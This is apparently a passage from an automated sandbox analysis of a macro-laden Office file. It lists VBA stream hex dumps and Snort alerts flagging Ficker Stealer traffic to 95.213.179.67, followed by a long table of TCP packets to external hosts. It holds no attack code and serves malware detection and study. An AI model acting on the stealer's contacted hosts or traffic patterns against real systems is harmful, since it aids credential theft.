Data Raw:	72 55 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 02 00 00 00 00 00 00 7e 7a 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 12 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 11 00 00 00 00 00 00 00 00 00 05 00 ff ff

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_2, File Type: data, Stream Size: 2014

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_2
File Type:	data
Stream Size:	2014
Entropy:	3.03300546518
Base64 Encoded:	False
Data ASCII:	r U . . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . q . . . . . . . . . . . ! . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . . . . . . . . . . . . . . . . . . . . . 1 . . . . . . . . . . . a . . . . . . . . . . . . . . . . .
Data Raw:	72 55 80 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 38 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 03 00 50 00 00 00 00 00 00 00 00 00 00 00 03 00 02 00 17 00 00 00 f1 0e 00 00 00 00 00 00 00 00 00 00 81 11 00 00 00 00 00 00 00 00 00 00 71 13 00 00 00 00 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_3, File Type: data, Stream Size: 342

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_3
File Type:	data
Stream Size:	342
Entropy:	2.15826376963
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . x . . . . . . . . . . . . . . . . p . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . A . . . . . . . . . . . a . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 8 . . . . . . . . . . . . . . . . ` . . . . 8 . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 02 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 80 00 00 00 08 00 78 00 b1 0a 00 00 00 00 00 00 00 00 00 00 00 00 03 70 18 00 fe ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_4, File Type: data, Stream Size: 367

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_4
File Type:	data
Stream Size:	367
Entropy:	1.33311181947
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . @ . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . ~ x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . H . . . . . . . . . . . . . . . i . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . H . . . . . . . . . . . . . . . i . . . . . . . x . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 04 00 00 00 00 00 00 7e 78 00 00 00 00 00 00 7f 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 05 00 10 00 00 00 00 00 00 00 00 00 04 00 02 00 02 00 00 00 00 00 48 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 69 02

Stream Path: _VBA_PROJECT_CUR/VBA/__SRP_5, File Type: data, Stream Size: 248

General
Stream Path:	_VBA_PROJECT_CUR/VBA/__SRP_5
File Type:	data
Stream Size:	248
Entropy:	1.88677350926
Base64 Encoded:	False
Data ASCII:	r U @ . . . . . . . . . . . . . . . @ . . . . . . . @ . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . @ . . . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . P . P . q . . . . . . . . . . . . . . ` . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . \\ . P . . . . . . . b . . . . . . . . . . . . . . .
Data Raw:	72 55 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 1a 00 00 00 00 00 00 00 11 00 00 00 00 00 00 00 00 00 04 00 ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00 10 00 00 00 08 00 40 00 f1 00 00 00 00 00 00 00 00 00 04 00 00 00 00 60 04 00 fd ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff ff 00 00 00 00

Stream Path: _VBA_PROJECT_CUR/VBA/dir, File Type: data, Stream Size: 685

General
Stream Path:	_VBA_PROJECT_CUR/VBA/dir
File Type:	data
Stream Size:	685
Entropy:	6.38472401563
Base64 Encoded:	True
Data ASCII:	. . . . . . . . . . . . 0 * . . . . . p . . H . . . . . d . . . . . . . . V B A P r o j e . c t . . 4 . . @ . . j . . . = . . . . r . . . . . . . . . . . . b . . . . . J < . . . . . r . s t d o l e > . . . s . t . d . o . . l . e . . . h . % . ^ . . * \\ G { 0 0 . 0 2 0 4 3 0 - . . . . . C . . . . . . 0 0 4 . 6 } # 2 . 0 # 0 . # C : \\ W i n d . o w s \\ S y s t e m 3 2 \\ . e 2 . . t l b # O L E . A u t o m a t i . o n . ` . . . E O f f D i c . E O . f . . i . . c . E . . . . . . . E . 2 D F 8 D 0 4 C . -
Data Raw:	01 a9 b2 80 01 00 04 00 00 00 03 00 30 2a 02 02 90 09 00 70 14 06 48 03 00 82 02 00 64 e4 04 04 00 0a 00 1c 00 56 42 41 50 72 6f 6a 65 88 63 74 05 00 34 00 00 40 02 14 6a 06 02 0a 3d 02 0a 07 02 72 01 14 08 05 06 12 09 02 12 e2 f1 ef 62 07 94 00 0c 02 4a 3c 02 0a 16 00 01 72 80 73 74 64 6f 6c 65 3e 02 19 00 73 00 74 00 64 00 6f 00 80 6c 00 65 00 0d 00 68 00 25 02 5e 00 03 2a 5c 47

Network Behavior

Snort IDS Alerts

Timestamp	Protocol	SID	Message	Source Port	Dest Port	Source IP	Dest IP
07/22/21-16:11:06.655970	TCP	2031074	ET TROJAN Win32/Ficker Stealer Activity	80	49173	95.213.179.67	192.168.2.22
07/22/21-16:11:06.656427	TCP	2031132	ET TROJAN Win32/Ficker Stealer Activity M3	49173	80	192.168.2.22	95.213.179.67
07/22/21-16:11:08.151878	TCP	2031074	ET TROJAN Win32/Ficker Stealer Activity	80	49178	95.213.179.67	192.168.2.22
07/22/21-16:11:08.152290	TCP	2031132	ET TROJAN Win32/Ficker Stealer Activity M3	49178	80	192.168.2.22	95.213.179.67

Network Port Distribution

TCP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jul 22, 2021 16:11:03.422887087 CEST	49167	80	192.168.2.22	54.235.88.121
Jul 22, 2021 16:11:03.588664055 CEST	80	49167	54.235.88.121	192.168.2.22
Jul 22, 2021 16:11:03.588781118 CEST	49167	80	192.168.2.22	54.235.88.121
Jul 22, 2021 16:11:03.589586973 CEST	49167	80	192.168.2.22	54.235.88.121
Jul 22, 2021 16:11:03.755573988 CEST	80	49167	54.235.88.121	192.168.2.22
Jul 22, 2021 16:11:03.760507107 CEST	80	49167	54.235.88.121	192.168.2.22
Jul 22, 2021 16:11:03.760660887 CEST	49167	80	192.168.2.22	54.235.88.121
Jul 22, 2021 16:11:03.981133938 CEST	49168	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:04.033448935 CEST	80	49168	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:04.033590078 CEST	49168	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:04.034487963 CEST	49168	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:04.086605072 CEST	80	49168	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:04.203983068 CEST	80	49168	194.147.115.74	192.168.2.22
Jul 22, 2021 16:11:04.204190969 CEST	49168	80	192.168.2.22	194.147.115.74
Jul 22, 2021 16:11:04.377377987 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.432929993 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.433032990 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.434003115 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.496922970 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.616672993 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.616720915 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.616750002 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.616771936 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.616791964 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.616808891 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.616833925 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.616833925 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.616856098 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.616857052 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.616862059 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.616864920 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.616877079 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.616883993 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.616899014 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.616909027 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.616923094 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.617311954 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.671677113 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.671706915 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.671730042 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.671765089 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.671775103 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.671788931 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.671797037 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.671801090 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.671811104 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.671818018 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.671833038 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.671842098 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.671854019 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.671857119 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.671875954 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.671883106 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.671896935 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.671907902 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.671917915 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.671926022 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.671942949 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.671952009 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.671964884 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.671968937 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.671977043 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.671986103 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.672004938 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.672015905 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.672018051 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.672039986 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.672048092 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.672059059 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.672068119 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.672080040 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.672080994 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.672101021 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.672108889 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.672126055 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.672132969 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.672157049 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.727066994 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.727154970 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.727196932 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.727221012 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.727229118 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.727243900 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.727247953 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.727258921 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.727273941 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.727288008 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.727303028 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.727319956 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.727324963 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.727354050 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.727396965 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.727401972 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.727477074 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.727536917 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.727550983 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.727591038 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.727612972 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.727649927 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.727703094 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.727755070 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.727772951 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.727818966 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.727838993 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.727884054 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.727901936 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.727943897 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.727961063 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.728004932 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.728022099 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.728068113 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.728091002 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.728133917 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.728153944 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.728200912 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.728215933 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.728260040 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.728272915 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.728319883 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.728352070 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.728396893 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.728415966 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.728461027 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.728707075 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.728748083 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.728775024 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.728811979 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.728832006 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.728872061 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.728893042 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.728940010 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.728957891 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.729002953 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.729024887 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.729070902 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.729072094 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.729104996 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.729110003 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.729141951 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.729146957 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.729181051 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.729187012 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.729221106 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.729224920 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.729257107 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.729269028 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.729304075 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.729309082 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.729345083 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.729346037 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.729378939 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.729383945 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.729418993 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.729423046 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.729458094 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.729463100 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.729501963 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.783242941 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.783276081 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.783298016 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.783318996 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.783344030 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.783365965 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.783369064 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.783385992 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.783386946 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.783396959 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.783409119 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.783416033 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.783432007 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.783438921 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.783454895 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.783463001 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.783476114 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.783483028 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.783497095 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.783505917 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.783523083 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.783525944 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.783545971 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.783552885 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.783566952 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.783574104 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.783588886 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.783597946 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.783611059 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.783704042 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784159899 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784185886 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784204006 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784220934 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784240007 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784241915 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784261942 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784261942 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784276009 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784282923 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784292936 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784302950 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784316063 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784322977 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784328938 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784346104 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784356117 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784368038 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784375906 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784389019 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784400940 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784410000 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784416914 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784430981 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784446001 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784452915 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784466028 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784473896 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784481049 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784495115 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784506083 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784518003 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784526110 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784533978 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784540892 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784554958 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784559965 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784564972 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784578085 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784580946 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784590960 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784603119 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784614086 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784622908 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784636021 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784643888 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784650087 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784663916 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784677029 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784687996 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784692049 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784709930 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784720898 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784729958 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784750938 CEST	80	49169	8.211.241.0	192.168.2.22
Jul 22, 2021 16:11:04.784751892 CEST	49169	80	192.168.2.22	8.211.241.0
Jul 22, 2021 16:11:04.784759998 CEST	49169	80	192.168.2.22	8.211.241.0
